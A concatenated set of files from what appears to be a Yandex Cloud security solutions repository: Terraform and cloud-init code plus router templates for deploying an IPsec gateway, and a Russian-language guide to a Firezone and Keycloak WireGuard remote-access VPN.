echo $r | tee -a /etc/rc.local
echo $r | tee -a /root/add-routes.sh
done
# Prepare a shared volume for both containers
mkdir -p /opt/webhc
mount -t tmpfs tmpfs /opt/webhc -o size=1m
# Create Web-HC container
WEBHC_VER=$(docker image ls web-hc --format "{{.Tag}}")
docker create --name=web-hc --hostname=web-hc \
--network=host \
--volume=/opt/webhc:/var/www/local \
web-hc:$WEBHC_VER
docker start web-hc
# Schedule the IPsec tunnel status checker
(echo "#* * * * * docker exec -it strongswan swanctl --list-conns | head -1 | awk '{split($0,a,":"); print a[1]}' | grep -q INSTALLED && touch /opt/webhc/status-ok || rm -f /opt/webhc/status-ok\"") | crontab -
path: "/root/sgw-init.sh"
permissions: "0740"
runcmd:
- sleep 1
- sudo -i
- /root/sgw-init.sh
- chmod +x /root/add-routes.sh
- /root/add-routes.sh
================================================
FILE: network-sec/ipsec-sgw/templates/ipsec-cisco-asa.tpl
================================================
! Cisco ASA with Routed mode (Tunnel) <-- IPSEC --> strongSwan Instance
!
! Tested with Cisco ASAv v9.15(1)10
!
! Should be work with Cisco ASA/ASAv families
!
!
crypto ikev2 enable outside
!
crypto ikev2 policy 1
%{if IKE_PROPOSAL == "aes128gcm16-prfsha256-ecp256"}encryption aes-gcm%{ endif ~}
%{if IKE_PROPOSAL == "aes192"}encryption aes-192%{ endif ~}
%{if IKE_PROPOSAL == "aes"}encryption aes%{ endif ~}
integrity null
group 19
prf sha256
!
crypto ipsec ikev2 ipsec-proposal IKE2-PROPOSAL
%{if IKE_PROPOSAL == "aes128gcm16-prfsha256-ecp256"}protocol esp encryption aes-gcm%{ endif ~}
%{if IKE_PROPOSAL == "aes192"}protocol esp encryption aes-192%{ endif ~}
%{if IKE_PROPOSAL == "aes"}protocol esp encryption aes%{ endif ~}
protocol esp integrity null
!
crypto ipsec profile IKE2-PROFILE
set ikev2 ipsec-proposal IKE2-PROPOSAL
set security-association lifetime kilobytes unlimited
set security-association lifetime seconds 50000
!
group-policy IKE2-POLICY internal
group-policy IKE2-POLICY attributes
vpn-tunnel-protocol ikev2
!
tunnel-group ${YC_SGW_IP} type ipsec-l2l
tunnel-group ${YC_SGW_IP} general-attributes
default-group-policy IKE2-POLICY
!
tunnel-group ${YC_SGW_IP} ipsec-attributes
ikev2 remote-authentication pre-shared-key ${PSK}
ikev2 local-authentication pre-shared-key ${PSK}
!
interface Tunnel10
nameif vti
ip address 169.254.254.1 255.255.255.252
tunnel source interface outside
tunnel destination ${YC_SGW_IP}
tunnel mode ipsec ipv4
tunnel protection ipsec profile IKE2-PROFILE
!
! Route YC prefixes via IPsec Tunnel interface
%{ for SUBNET in YC_SUBNETS ~}
route vti ${split("/",SUBNET)[0]} ${cidrnetmask(SUBNET)} 169.254.254.2 1
%{ endfor ~}
================================================
FILE: network-sec/ipsec-sgw/templates/ipsec-cisco-iosxe.tpl
================================================
! Cisco IOS-XE with Routed mode (Tunnel) <-- IPSEC --> strongSwan Instance
!
! Tested with Cisco Catalyst 8000v (IOS-XE v17.06.02).
!
! Should be work with Cisco CSR 1000v, Cisco ASR 1000,
! Cisco ISR 4000 and other Cisco IOS-XE platforms.
!
crypto ikev2 proposal IKE2-PROPOSAL
%{if IKE_PROPOSAL == "aes128gcm16-prfsha256-ecp256"}encryption aes-gcm-128%{ endif ~}
%{if IKE_PROPOSAL == "aes128g"}encryption aes128g%{ endif ~}
%{if IKE_PROPOSAL == "aes"}encryption aes%{ endif ~}
prf sha256
group 19
!
crypto ikev2 policy IKE2-POLICY
match fvrf any
proposal IKE2-PROPOSAL
!
crypto ikev2 keyring IKE2-KEYS
peer YC-SGW
address ${YC_SGW_IP}
pre-shared-key 0 ${PSK}
!
crypto ikev2 profile IKE2-PROFILE
match identity remote any
authentication remote pre-share
authentication local pre-share
keyring local IKE2-KEYS
dpd 10 3 on-demand
!
crypto ipsec transform-set TS
%{~if ESP_PROPOSAL == "aes128gcm16"} esp-gcm 128%{ endif ~}
%{~if ESP_PROPOSAL == "aes"} aes 128%{ endif ~}
mode tunnel
!
crypto ipsec profile IPSEC-PROFILE
set transform-set TS
set ikev2-profile IKE2-PROFILE
!
interface Tunnel10
description == IPSEC-Tunnel ==
ip unnumbered GigabitEthernet2
tunnel source GigabitEthernet2
tunnel mode ipsec ipv4
tunnel destination ${YC_SGW_IP}
tunnel protection ipsec profile IPSEC-PROFILE
!
! Route YC prefixes via IPsec Tunnel interface
%{ for SUBNET in YC_SUBNETS ~}
ip route ${split("/",SUBNET)[0]} ${cidrnetmask(SUBNET)} Tunnel10
%{ endfor ~}
================================================
FILE: network-sec/ipsec-sgw/templates/ipsec-mikrotik-chr.tpl
================================================
# ================================================
# Mikrotik CHR RouterOS 7.x
# https://help.mikrotik.com/docs/display/ROS/IPsec
# ================================================
# All IPsec firewall filters should be configured BEFORE ANY action=drop RULES !
/ip firewall filter
add action=accept chain=input comment="Allow UDP 500,4500 IPSec for YC peer" protocol=udp dst-port=500,4500 dst-address=${YC_SGW_IP}
add action=accept chain=input comment="Allow IPSec ESP for YC peer" protocol=ipsec-esp dst-address=${YC_SGW_IP}
add action=accept chain=forward comment="defconf: accept in ipsec policy" ipsec-policy=in,ipsec
add action=accept chain=forward comment="defconf: accept out ipsec policy" ipsec-policy=out,ipsec
/ip ipsec profile add dh-group=ecp256 prf-algorithm=sha256 nat-traversal=yes proposal-check=obey name "IKE2-PROFILE"
/ip ipsec proposal add auth-algorithms="" enc-algorithms=aes-128-gcm pfs-group=none lifetime=8h disabled=no name="IKE2-PROPOSAL"
/ip ipsec peer add address=${YC_SGW_IP} exchange-mode=ike2 passive=no send-initial-contact=yes profile="IKE2-PROFILE" disabled=no name="YC"
/ip ipsec identity add peer=YC auth-method=pre-shared-key remote-id=ignore secret="${PSK}"
# Policy routing via IPsec SA
/ip ipsec policy set 0 disabled=yes
%{ for PAIR in SUBNETS_PAIRS ~}
/ip ipsec policy add src-address=${PAIR.yc} dst-address=${PAIR.remote} tunnel=yes action=encrypt proposal=IKE2-PROPOSAL peer=YC
%{ endfor ~}
## Diagnostic & Monitoring
/ip ipsec proposal print
/ip ipsec profile print
/ip ipsec peer print
/ip ipsec identity print
/ip ipsec policy print
/ip ipsec active-peers print detail
/ip ipsec installed-sa print
================================================
FILE: network-sec/ipsec-sgw/templates/ipsec-unknown.tpl
================================================
# =====================================
# IPSEC attributes for Remote IPSEC SGW
# =====================================
${POLICY_NAME}:
mode: IPSEC Tunnel mode
ike-version: IKEv2
ike-proposal: ${IKE_PROPOSAL}
esp-proposal: ${ESP_PROPOSAL}
psk: ${PSK}
local-sgw-ip: ${REMOTE_SGW_IP}
# Yandex Cloud Security Gateway - ${SGW_NAME}
yc-sgw-ip: ${YC_SGW_IP}
#
YC-prefixes:
%{ for prefix in YC_SUBNETS ~}
${prefix}
%{ endfor ~}
================================================
FILE: network-sec/ipsec-sgw/templates/ipsec-yc.tpl
================================================
# =============================================================
# StrongSwan configuration file for ${SGW_NAME} @ Yandex Cloud
# /etc/swanctl/swanctl.conf
#
# StrongSwan configuration docs:
# https://docs.strongswan.org/docs/5.9/swanctl/swanctlConf.html
# =============================================================
connections {
${POLICY_NAME} {
remote_addrs = ${REMOTE_SGW_IP}
local {
auth = psk
}
remote {
auth = psk
}
version = 2 # IKEv2
mobike = no
proposals = ${IKE_PROPOSAL}, default
dpd_delay = 10s
children {
${POLICY_NAME} {
# Local IPv4 subnets
local_ts = 0.0.0.0/0
# Remote IPv4 subnets
remote_ts = 0.0.0.0/0
start_action = start
esp_proposals = ${ESP_PROPOSAL}
dpd_action = clear
if_id_in = 48
if_id_out = 48
}
}
}
}
# Pre-shared key (PSK) for IPSEC connection
secrets {
ike-${POLICY_NAME} {
secret = ${PSK}
}
}
================================================
FILE: network-sec/ipsec-sgw/variables.tf
================================================
# =======================================
# IPsec Security Gateway (SGW) deployment
# Input variables
# =======================================
# =================
# Global parameters
# =================
variable "cloud_id" {
description = "YC cloud-id. Taken from environment variable."
}
variable "folder_id" {
description = "YC folder-id. Taken from environment variable."
}
variable "ipsec_policy" {
description = "IPsec parameters for both sides"
type = object(
{
policy_name = string
ike_proposal = string
esp_proposal = string
psk = string
})
default = {
policy_name = null
ike_proposal = null
esp_proposal = null
psk = null
}
}
# =================================
# Yandex Cloud side: strongSwan SGW
# =================================
variable "yc_sgw" {
description = "YC IPsec SGW"
type = object(
{
name = string
folder_name = string
image_folder_id = string
image_name = string
zone = string
subnet = string
inside_ip = string
admin_name = string
admin_key_path = string
})
default = {
name = null
folder_name = null
image_folder_id = "standard-images"
image_name = null
zone = null
subnet = null
inside_ip = null
admin_name = null
admin_key_path = null
}
}
variable "yc_subnets" {
description = "YC IP subnet prefixes"
type = object(
{
net_name = string
prefix_list = list(string)
rt_name = string
rt_internet_access = bool
force_subnets_update = bool
})
default = {
net_name = null
prefix_list = null
rt_name = null
rt_internet_access = false
force_subnets_update = false
}
}
# =================================
# Remote side: 3rd party IPsec SGW
# =================================
variable "remote_sgw" {
description = "Remote IPsec Security Gateway (SGW)"
type = object(
{
name = string
type = string
outside_ip = string
})
default = {
name = null
type = "unknown"
outside_ip = null
}
validation {
condition = contains([
"unknown",
"cisco-iosxe",
"cisco-asa",
"mikrotik-chr"
], lower(var.remote_sgw.type)
)
error_message = "Only few SGW types are supported. See variables.tf for details."
}
}
variable "remote_subnets" {
description = "Yandex Cloud Subnet prefixes list"
type = list(string)
default = null
}
variable "labels" {
description = "A set of key/value label pairs to assign."
type = map(string)
default = null
}
================================================
FILE: network-sec/ipsec-sgw/vpc.tf
================================================
# =============
# VPC Resources
# =============
# Define SGW Network
data "yandex_vpc_network" "yc_net" {
folder_id = data.yandex_resourcemanager_folder.sgw_folder.id
name = var.yc_subnets.net_name
}
# Create SGW Subnet
resource "yandex_vpc_subnet" "sgw_subnet" {
folder_id = data.yandex_resourcemanager_folder.sgw_folder.id
name = "${var.yc_sgw.name}-subnet"
description = "YC IPsec Security gateway subnet"
v4_cidr_blocks = [var.yc_sgw.subnet]
zone = var.yc_sgw.zone
network_id = data.yandex_vpc_network.yc_net.id
labels = var.labels
}
# Reserve a static IP for the SGW instance
resource "yandex_vpc_address" "sgw_public_ip" {
folder_id = data.yandex_resourcemanager_folder.sgw_folder.id
name = var.yc_sgw.name
external_ipv4_address {
zone_id = var.yc_sgw.zone
}
labels = var.labels
}
# Create Security Group for SGW
resource "yandex_vpc_security_group" "sgw_sg" {
folder_id = data.yandex_resourcemanager_folder.sgw_folder.id
name = "${lower(var.yc_sgw.name)}-sg"
description = "IPsec SGW VM"
network_id = data.yandex_vpc_network.yc_net.id
labels = var.labels
ingress {
description = "icmp"
protocol = "ICMP"
v4_cidr_blocks = ["0.0.0.0/0"]
}
ingress {
description = "ssh"
protocol = "TCP"
port = 22
v4_cidr_blocks = ["0.0.0.0/0"]
}
ingress {
description = "http"
protocol = "TCP"
port = "8000"
v4_cidr_blocks = ["0.0.0.0/0"]
}
ingress {
description = "ipsec"
protocol = "UDP"
port = "500"
v4_cidr_blocks = ["${var.remote_sgw.outside_ip}/32"]
}
ingress {
description = "ipsec"
protocol = "UDP"
port = "4500"
v4_cidr_blocks = ["${var.remote_sgw.outside_ip}/32"]
}
egress {
description = "Permit ANY"
protocol = "ANY"
v4_cidr_blocks = ["0.0.0.0/0"]
}
}
# Get All Subnets inside of specified Network/VPC
data "yandex_vpc_subnet" "yc_sub_all" {
folder_id = var.folder_id
for_each = toset(data.yandex_vpc_network.yc_net.subnet_ids)
subnet_id = each.value
}
locals {
single_list = ["one-value"]
# Filter Subnets by var.remote_subnets list
sub_list = tolist(var.yc_subnets.prefix_list)
subnet_list = flatten([
for sub_id in data.yandex_vpc_network.yc_net.subnet_ids : {
id = sub_id
prefix = data.yandex_vpc_subnet.yc_sub_all[sub_id].v4_cidr_blocks[0]
} if contains(local.sub_list, data.yandex_vpc_subnet.yc_sub_all[sub_id].v4_cidr_blocks[0])
])
# generate yc CLI strings for apply RT to subnets
yc_rt_cmd = "ids=\"${join(" ", flatten([
for sub in local.subnet_list : ["${sub.id}"]
]))}\"; for id in $ids ; do yc vpc subnet update $id --route-table-name=${lower(var.yc_sgw.name)}-rt ; done"
}
# Create Route table for route traffic to the remote subnets via SGW
resource "yandex_vpc_route_table" "sgw_rt" {
folder_id = data.yandex_resourcemanager_folder.sgw_folder.id
name = "${lower(var.yc_sgw.name)}-rt"
network_id = data.yandex_vpc_network.yc_net.id
dynamic "static_route" {
for_each = var.remote_subnets == null ? [] : var.remote_subnets
content {
destination_prefix = static_route.value
next_hop_address = var.yc_sgw.inside_ip
}
}
dynamic "static_route" {
for_each = [for el in local.single_list : el
if var.yc_subnets.rt_internet_access == true]
content {
destination_prefix = "0.0.0.0/0"
gateway_id = yandex_vpc_gateway.egress_gw[0].id
}
}
}
# If yc_subnets.rt_internet_access = true, Gateway should be created
resource "yandex_vpc_gateway" "egress_gw" {
count = var.yc_subnets.rt_internet_access ? 1 : 0
folder_id = var.folder_id
name = "${data.yandex_vpc_network.yc_net.name}-egw"
shared_egress_gateway {}
}
# If yc_subnets.force_subnets_update = true, perform subnets update with yc
resource "null_resource" "yc_subnets_update" {
count = var.yc_subnets.force_subnets_update ? 1 : 0
provisioner "local-exec" {
command = local.yc_rt_cmd
}
depends_on = [
yandex_vpc_route_table.sgw_rt
]
}
================================================
FILE: network-sec/remote-access-vpn/README.md
================================================
# Remote access VPN на основе WireGuard
## Содержание
- [Описание решения](#описание-решения)
- [Подготовка к развертыванию](#подготовка-к-развертыванию)
- [Развертывание Terraform сценария](#развертывание-terraform-сценария)
- [Настройка Firezone](#настройка-firezone)
- [Проверка работоспособности](#проверка-работоспособности)
- [Требования к развертыванию в продуктивной среде](#требования-к-развертыванию-в-продуктивной-среде)
- [Удаление созданных ресурсов](#удаление-созданных-ресурсов)
## Описание решения
Решение разворачивает в Yandex Cloud облачную инфраструктуру для организации Remote access VPN: защищенного доступа пользователей к облачным ресурсам на основе [WireGuard VPN](https://www.wireguard.com/). Решение поддерживает несколько вариантов популярных Identity Providers для сценариев Single Sign-On пользователей в корпоративной федерации пользователей.
После развертывания решения в Yandex Cloud создаются следующие компоненты:
| Название | Описание |
| ---- | ---- |
| Firezone ВМ | Open-source ПО [Firezone](https://www.firezone.dev/) на основе WireGuard VPN для организации VPN доступа |
| Кластер баз данных | Сервис [Managed Service for PostgreSQL](https://cloud.yandex.ru/services/managed-postgresql) для работы Firezone ВМ и Keycloak ВМ |
| Keycloak ВМ | Open-source ПО [Keycloak](https://www.keycloak.org/) для Single Sign-On аутентификации пользователей в корпоративной федерации пользователей, например Active Directory |
### Firezone
[Firezone](https://www.firezone.dev/) - это open-source решение для организации удаленного доступа VPN, обладающее следующими основными возможностями:
- Поддержка современного протокола [WireGuard VPN](https://www.wireguard.com/) с [клиентами](https://www.wireguard.com/install/) для desktop и мобильных устройств
- Аутентификация пользователей:
- Локальная аутентификация по email и паролю
- Single Sign-On интеграция с Identity Provider по OpenID Connect (OIDC) или SAML 2.0
- Многофакторная аутентификация
- Простой веб-интерфейс администратора для настройки и управления пользователями и их устройствами
- Веб-интерфейс пользователя для аутентификации и управления своими устройствами
- Реализация в виде Docker контейнера
Для аутентификации пользователей в Firezone можно использовать несколько вариантов популярных Identity Providers: https://www.firezone.dev/docs/authenticate/. В данном решении в качестве примера выбрана реализация с Keycloak.
Как пользователь подключается к VPN:
1. Пользователь устанавливает на своё устройство [WireGuard клиент](https://www.wireguard.com/install/)
2. Пользователь получает конфигурационный файл для WireGuard приложения с помощью одного из методов:
- Администратор Firezone добавляет устройство пользователя в веб-интерфейсе администратора Firezone, скачивает конфигурационный файл для WireGuard и передает его пользователю через защищенный канал;
- После аутентификации в веб-интерфейсе Firezone пользователь может самостоятельно добавить своё устройство, с которого будет устанавливаться VPN подключение, и скачать конфигурационный файл для WireGuard. Это рекомендуемый метод для использования в Firezone.
3. Пользователь импортирует конфигурационный файл в WireGuard приложение
4. Пользователь активирует VPN туннель
Инструкция для пользователя по подключению VPN: https://www.firezone.dev/docs/user-guides/client-instructions/
Документация по Firezone:
- https://www.firezone.dev/docs/
- https://github.com/firezone/firezone
## Подготовка к развертыванию
1. Перед выполнением развертывания нужно [зарегистрироваться в Yandex Cloud и создать платежный аккаунт](https://cloud.yandex.ru/docs/tutorials/infrastructure-management/terraform-quickstart#before-you-begin)
2. [Установите Terraform](https://cloud.yandex.ru/docs/tutorials/infrastructure-management/terraform-quickstart#install-terraform)
3. Проверьте наличие учетной записи в облаке с правами `admin` на каталог
4. [Установите и настройте Yandex Cloud CLI](https://cloud.yandex.ru/docs/cli/quickstart)
5. [Установите Git](https://github.com/git-guides/install-git)
6. Проверьте квоты в облаке, чтобы была возможность развернуть ресурсы в сценарии:
Посмотреть справочную информацию по количеству ресурсов, создаваемых в сценарии
| Ресурс | Количество |
| ----------- | ----------- |
| Виртуальные машины | 2 |
| vCPU виртуальных машин | 4 |
| RAM виртуальных машин | 12 ГБ |
| Диски | 2 |
| Объем SSD дисков | 110 ГБ |
| Подсети | 2 |
| Статические публичные IP-адреса | 2 |
| Группы безопасности | 2 |
| Сертификат Certificate Manager | 1 |
| Зона DNS | 1 |
| Кластер Managed Service for PostgreSQL | 1 |
| Объём SSD-хранилища для кластера PostgreSQL | 10 ГБ |
| Количество vCPU для кластера PostgreSQL | 2 |
| Объём памяти для кластера PostgreSQL | 8 |
7. Перед развёртыванием решения уже должны существовать следующие объекты:
- Каталог облачных ресурсов и сеть (VPC) в Yandex Cloud, в которых будут размещаться компоненты решения
- Домен, который будет использоваться для виртуальных машин Firezone и Keycloak. Этот домен должен быть предварительно делегирован в Yandex Cloud со стороны регистратора домена. Для этого укажите адреса серверов имен Yandex Cloud в NS-записях вашего регистратора:
```
ns1.yandexcloud.net.
ns2.yandexcloud.net.
```
## Развертывание Terraform сценария
1. На вашей рабочей станции склонируйте [репозиторий](https://github.com/yandex-cloud/yc-solution-library-for-security/) `yandex-cloud/yc-solution-library-for-security` из GitHub и перейдите в папку сценария `remote-access-vpn`:
```bash
git clone https://github.com/yandex-cloud/yc-solution-library-for-security.git
cd yc-solution-library-for-security/network-sec/remote-access-vpn
```
2. Настройте окружение для развертывания ([подробности](https://cloud.yandex.ru/docs/tutorials/infrastructure-management/terraform-quickstart#get-credentials)):
```bash
export YC_TOKEN=$(yc iam create-token)
```
3. Заполните файл `output.tf` в папке `settings` вашими значениями. Обязательные параметры для изменения отмечены в таблице.
Посмотреть детальную информацию о заполняемых значениях
| Название | Описание | Тип | Пример | Требует изменения |
| ----------- | ----------- | ----------- | ----------- | ---------- |
| domain | Доменное имя (второго и первого уровня, разделенное точкой) для виртуальных машин Firezone и Keycloak | `string` | `"example.com"` | да |
| folder_id | ID каталога для размещения компонент решения | `string` | `"b1gentmqf1ve9uc54nfh"` | да |
| vpc_id | ID облачной сети для размещения компонент решения | `string` | `"enp48c1ndilt42veuw4x"` | да |
| trusted_ip_for_mgmt | Список публичных IP адресов/подсетей, с которых разрешено подключение по SSH к Firezone и Keycloak ВМ. Используется во входящем правиле групп безопасности. | `list(string)` | `["A.A.A.A/32", "B.B.B.0/24"]` | да |
| **firezone** | | | | |
| subdomain | Поддомен для Firezone ВМ | `string` | `"vpn"` | |
| subnet | Значение CIDR подсети для Firezone ВМ | `string` | `"192.168.1.0/24"` | |
| vm_username | Имя пользователя для Firezone ВМ | `string` | `"admin"` | |
| admin_email | Email администратора (логин) для доступа к веб-интерфейсу администратора Firezone | `string` | `"admin@example.com"` | да |
| version | [Версия](https://github.com/firezone/firezone/releases) Firezone для развертывания | `string` | `"0.7.32"` | |
| wg_port | UDP порт для протокола WireGuard | `string` | `"51820"` | |
| **postgres** | | | | |
| db_ver | Версия кластера PostgreSQL, используемого для хранения данных Firezone и Keycloak | `string` | `"15"` | |
| db_user | Имя пользователя в кластере PostgreSQL | `string` | `"dbadmin"` | |
| db_kc_name | Название базы данных для хранения данных Keycloak в кластере PostgreSQL | `string` | `"kc-db"` | |
| db_firezone_name | Название базы данных для хранения данных Firezone в кластере PostgreSQL | `string` | `"firezone-db"` | |
| **keycloak** | | | | |
| subdomain | Поддомен для Keycloak ВМ | `string` | `"kc"` | |
| subnet | Значение CIDR подсети для Keycloak ВМ | `string` | `"192.168.2.0/24"` | |
| port | Номер порта для обращения к Keycloak ВМ по HTTPS | `string` | `"8443"` | |
| image_folder_id | ID каталога, в котором хранится образ Keycloak | `string` | `"b1g4n62gio32v96mdvrb"` | нет |
| image_name | Имя образа Keycloak | `string` | `"keycloak"` | нет |
| vm_username | Имя пользователя для Keycloak ВМ | `string` | `"admin"` | |
| admin_user | Имя администратора (логин) для доступа к веб-интерфейсу администратора Keycloak | `string` | `"admin"` | |
| le_cert_name | Имя сертификата для Keycloak в Yandex Certificate Manager | `string` | `"kc"` | |
| test_user | Тестовый пользователь для проверки SSO в Keycloak и подключения к VPN | | | |
| name | Имя тестового пользователя (логин) для проверки SSO в Keycloak | `string` | `"user"` | |
| email | Email тестового пользователя, который будет добавлен в Firezone после успешной аутентификации в Keycloak | `string` | `"user@example.com"` | да |
4. Перейдите в папку `main`
```bash
cd main
```
5. Выполните инициализацию Terraform:
```bash
terraform init
```
6. Проверьте список создаваемых облачных ресурсов:
```bash
terraform plan
```
7. Создайте ресурсы:
```bash
terraform apply
```
Ожидайте окончание создания ресурсов. Обработка запроса на выдачу сертификата в сервисе Let's Encrypt может выполняться до 30 минут.
8. После завершения процесса terraform apply в командной строке будут выведены URL-адреса для подключения к веб-интерфейсам Firezone и Keycloak, а также учетные записи администраторов Firezone и Keycloak. В дальнейшем эту информацию можно будет посмотреть с помощью команды `terraform output`.
Посмотреть информацию о развернутых ресурсах
| Название | Описание | Пример значения |
| ----------- | ----------- | ----------- |
| `firezone_admin_credentials` | Учетная запись администратора Firezone | `"admin_email" = "admin@example.com"`
`"admin_password" = "EP!f#YAfdaxd"` |
| `firezone_url` | URL для веб-интерфейса Firezone | `"https://vpn.example.com"` |
| `keycloak_admin_credentials` | Учетная запись администратора Keycloak | `"admin_username" = "admin"`
`"admin_password" = "Ns?3lvB*HvHD"` |
| `keycloak_url` | URL для веб-интерфейса Keycloak | `"https://kc.example.com:8443/admin"` |
Для вывода `sensitive` значения указывайте его в команде `terraform output`, например: `terraform output firezone_admin_credentials`.
9. После завершения развертывания Firezone и Keycloak виртуальных машин перейдите в папку `keycloak-config`, чтобы выполнить настройку Keycloak для сценария интеграции Keycloak с Firezone и Single Sign-On.
```bash
cd ../keycloak-config
```
10. Выполните инициализацию Terraform:
```bash
terraform init
```
11. Проверьте список создаваемых облачных ресурсов:
```bash
terraform plan
```
12. Создайте ресурсы:
```bash
terraform apply
```
13. После завершения процесса terraform apply в командной строке будет выведена информация для настройки интеграции Firezone и Keycloak, а также учетная запись тестового пользователя для проверки SSO в Keycloak и подключения к VPN. В дальнейшем эту информацию можно будет посмотреть с помощью команды `terraform output`.
Посмотреть информацию о развернутых ресурсах
| Название | Описание | Пример значения |
| ----------- | ----------- | ----------- |
| `keycloak_config_for_firezone` | Параметры для настройки интеграции Firezone и Keycloak | `"client_id" = "firezone"`
`"client_secret" = "Wxy2nthDXiMD42xmcD2mLgGxtjWbSDDc"`
`"discovery_document_uri" = "https://kc.example.com:8443/realms/firezone/.well-known/openid-configuration"` |
| `test_user_credentials` | Учетная запись тестового пользователя для проверки SSO в Keycloak и подключения к VPN | ` "test_user_name" = "user"`
`"test_user_password" = "IfV6OvIKqzzn"` |
Для вывода `sensitive` значения указывайте его в команде `terraform output`, например: `terraform output test_user_credentials`.
14. После настройки Keycloak с помощью Terraform продолжите [настройку Firezone](#настройка-firezone).
## Настройка Firezone
1. Перейдите в браузере по адресу `https://firezone_url`, где `firezone_url` - вывод команды `terraform output firezone_url` в папке `main`.
2. Войдите в интерфейс администратора Firezone с учетной записью администратор из вывода команды `terraform output firezone_admin_credentials` в папке `main`.
3. Перейдите в раздел `SETTINGS -> Defaults` для изменения настроек по умолчанию.
4. В поле `Allowed IPs` укажите, для каких облачных IP подсетей (укажите через запятую адреса подсетей/маски) VPN клиенты будут направлять трафик в VPN туннель. Пример: `192.168.1.0/24, 192.168.2.0/24`.
5. В поле `DNS Servers` укажите адреса DNS серверов, которые будут использоваться VPN клиентами. Если не планируется переназначения у клиента этих DNS адресов, то удалите информацию в этом поле. Пример: `192.168.1.2, 192.168.2.2`.
6. Также можно изменить параметры по умолчанию для интервала keepalive, размера MTU для VPN клиентов. По умолчанию указан MTU 1280 байт, его можно увеличить до 1440 байт.
7. Нажмите `Save` для применения настроек.
8. Перейдите в раздел `SETTINGS -> Security` для изменения настроек безопасности.
9. Выключите настройку `Allow unprivileged device configuration`, чтобы пользователь не мог изменить через пользовательский веб-интерфейс Firezone сетевые настройки для VPN клиента.
10. Включите настройку `Auto disable VPN`. Это позволит при удалении пользователя в Identity Provider (Keycloak в данном примере) отключить его VPN подключения.
11. Нажмите `Add OpenID Connect Provider` для добавления Keycloak.
12. В разделе `OIDC Configuration` заполните поля:
- `Config ID`: keycloak
- `Label`: Keycloak
- `OIDC scopes`: openid email profile offline_access
- `Client ID`: firezone
- `Client secret`: `client_secret` из вывода `terraform output keycloak_config_for_firezone` в папке `keycloak-config` (значение указать без кавычек)
- `Discovery Document URI`: `discovery_document_uri` из вывода `terraform output keycloak_config_for_firezone` в папке `keycloak-config` (значение указать без кавычек)
- `Redirect URI`: оставить пустым
- Включить `Auto-create users` для автоматического добавления пользователей в Firezone после их успешной аутентификации в Keycloak
13. Нажать `Save` в разделе `OIDC Configuration` для применения настроек.
## Проверка работоспособности
1. Установите на своё устройство [клиент WireGuard](https://www.wireguard.com/install/) с сайта WireGuard. Дальнейшие шаги по настройке клиента WireGuard приведены на примере ОС Windows. Для других ОС название элементов интерфейса клиента может отличаться.
2. Перейдите в браузере по адресу `https://firezone_url`, где `firezone_url` - вывод команды `terraform output firezone_url` в папке `main`. Если у вас активна сессия администратора в веб-интерфейсе Firezone, то предварительно выполните `Log Out`. Нажмите `Sign in with Keycloak`. Произойдет редирект на веб-страницу Keycloak для Single Sign-On.
3. Войдите с учетной записью тестового пользователя из вывода команды `terraform output test_user_credentials` в папке `keycloak-config`.
4. После успешной аутентификации в веб-интерфейсе Firezone с тестовым пользователем добавьте устройство, с которого будет устанавливаться VPN подключение. Для этого нажмите `Add Device`.
5. В открывшемся окне можете изменить название устройства и добавить его описание. Нажмите `Generate Configuration`.
6. Появится окно с VPN конфигурацией для устройства. Нажмите `Download WireGuard Configuration` для скачивания файла конфигурации. В приложении WireGuard для Android или iOS можно также отсканировать QR-код с этой страницы для добавления VPN туннеля.
**Важно:** не закрывайте это окно, пока не скачаете конфигурационный файл или не отсканируете QR-код. После закрытия окна VPN конфигурацию для устройства больше не получится посмотреть в веб-интерфейсе Firezone.
7. Добавьте новый VPN туннель (`Import tunnel(s) from file`) в приложении WireGuard, используя скачанный конфигурационный файл.
8. Активируйте туннель нажатием на `Activate`.
9. Проверьте на своём устройстве в командной строке с помощью `ping 192.168.1.1` сетевую связность с шлюзом из облачной подсети `firezone`. Вы подключились с помощью VPN туннеля к облачной инфраструктуре.
## Требования к развертыванию в продуктивной среде
- Обязательно смените пароли администратора Firezone и Keycloak
- После проверки работоспособности удалите тестового пользователя в Keycloak и Firezone
- Сохраните private SSH ключ pt_key.pem в надежное место либо пересоздайте его отдельно от Terraform
## Удаление созданных ресурсов
Чтобы удалить ресурсы, созданные с помощью Terraform:
1. Перейдите на вашей рабочей станции в папку `keycloak-config` и выполните команду `terraform destroy`.
2. После этого перейдите в папку `main` и выполните команду `terraform destroy`.
> **Внимание**
>
> Terraform удалит все ресурсы, созданные в этом сценарии, **без возможности восстановления**.
================================================
FILE: network-sec/remote-access-vpn/firezone/compute.tf
================================================
// Create ssh keys for compute resources
resource "tls_private_key" "ssh" {
algorithm = "RSA"
rsa_bits = "2048"
}
resource "local_file" "private_key" {
content = tls_private_key.ssh.private_key_pem
filename = "pt_key.pem"
file_permission = "0600"
}
resource "random_string" "firezone_admin_password" {
length = 12
upper = true
lower = true
numeric = true
special = true
override_special = "!@%&*()-_=+[]{}<>:?"
}
data "yandex_compute_image" "container-optimized-image" {
family = "container-optimized-image"
}
// Create firezone control server
resource "yandex_compute_instance" "firezone" {
folder_id = var.values.folder_id
name = "firezone"
hostname = "firezone"
platform_id = "standard-v3"
zone = "ru-central1-a"
resources {
cores = 2
memory = 4
}
boot_disk {
initialize_params {
image_id = data.yandex_compute_image.container-optimized-image.id
type = "network-ssd"
size = 30
}
}
network_interface {
subnet_id = yandex_vpc_subnet.firezone-subnet.id
ip_address = "${cidrhost(var.values.firezone.subnet, 100)}"
nat = true
nat_ip_address = yandex_vpc_address.firezone-public-ip.external_ipv4_address.0.address
security_group_ids = [yandex_vpc_security_group.firezone-sg.id]
}
metadata = {
user-data = templatefile("${path.module}/templates/cloud-init_firezone.tpl.yaml",
{
firezone_ssh_key_pub = "${chomp(tls_private_key.ssh.public_key_openssh)}",
firezone_vm_username = var.values.firezone.vm_username
firezone_admin_email = var.values.firezone.admin_email
firezone_admin_password = "${random_string.firezone_admin_password.result}"
firezone_url = "https://${var.values.firezone.subdomain}.${var.values.domain}"
version = var.values.firezone.version
db_host = yandex_mdb_postgresql_cluster.pg_cluster.host.0.fqdn
db_name = var.values.postgres.db_firezone_name
db_user = var.values.postgres.db_user
db_pass = random_string.postgres_user_password.result
wg_port = var.values.firezone.wg_port
})
}
depends_on = [yandex_mdb_postgresql_database.pg_firezone_db]
}
================================================
FILE: network-sec/remote-access-vpn/firezone/network.tf
================================================
resource "yandex_vpc_address" "firezone-public-ip" {
name = "pfirezone-public-ip"
folder_id = var.values.folder_id
external_ipv4_address {
zone_id = "ru-central1-a"
}
}
